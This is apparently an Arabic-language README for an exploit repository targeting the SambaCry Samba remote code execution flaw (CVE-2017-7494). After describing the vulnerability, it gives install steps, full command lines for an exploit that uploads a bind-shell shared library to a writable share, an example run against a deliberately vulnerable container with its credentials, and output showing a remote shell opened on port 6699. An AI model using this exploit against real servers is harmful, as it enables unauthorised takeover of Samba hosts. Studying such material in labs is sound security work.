00mjk/exploit-cve-2017-7494استغلال SambaCry (CVE-2017-7494)
Samba هي إعادة تطبيق برمجية حرة لبروتوكول الشبكات SMB/CIFS. توفر Samba خدمات الملفات والطباعة لمختلف عملاء Microsoft Windows ويمكنها التكامل مع مجال Microsoft Windows Server، سواء كوحدة تحكم بالمجال (DC) أو كعضو في المجال. اعتبارًا من الإصدار 4، تدعم Active Directory ومجالات Microsoft Windows NT.
إصدار Samba 4.5.9 والإصدارات السابقة له معرضة لثغرة تنفيذ تعليمات برمجية عن بُعد تُسمى SambaCry. تسمح CVE-2017-7494 للمستخدمين المُوثقين عن بُعد برفع مكتبة مشتركة إلى مجلد مشترك قابل للكتابة، وتنفيذ هجمات تنفيذ تعليمات برمجية للسيطرة على الخوادم التي تستضيف خدمات Samba المعرضة للخطر.
إصدارات Samba 3.x بعد 3.5.0 و4.x قبل 4.4.14، و4.5.x قبل 4.5.10، و4.6.x قبل 4.6.4 لا تُقيد مسار الملف عند استخدام الأنابيب المسماة في Windows، مما يسمح للمستخدمين المُوثقين عن بُعد برفع مكتبة مشتركة إلى مجلد مشترك قابل للكتابة، وتنفيذ تعليمات برمجية عشوائية عبر أنبوب مسمى مصمم خصيصًا.
استخدم poetry لإعداد البيئة لهذا الاستغلال
pip3 install -r requirements.txt
بعد ذلك يمكنك تشغيله على النحو التالي:
./exploit -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
على سبيل المثال، إذا كنت تستخدم الصورة المعرضة للخطر من vulnerables/cve-2017-7494 وتريد تشغيل هذا الاستغلال ضدها:
./exploit -t <target> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
وستحصل على المخرجات التالية
./exploit -t <target> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
الحمولة لهذا المشروع، إلى جانب الكود، كانت مستوحاة بشكل كبير من opsxcq/exploit-CVE-2017-7494.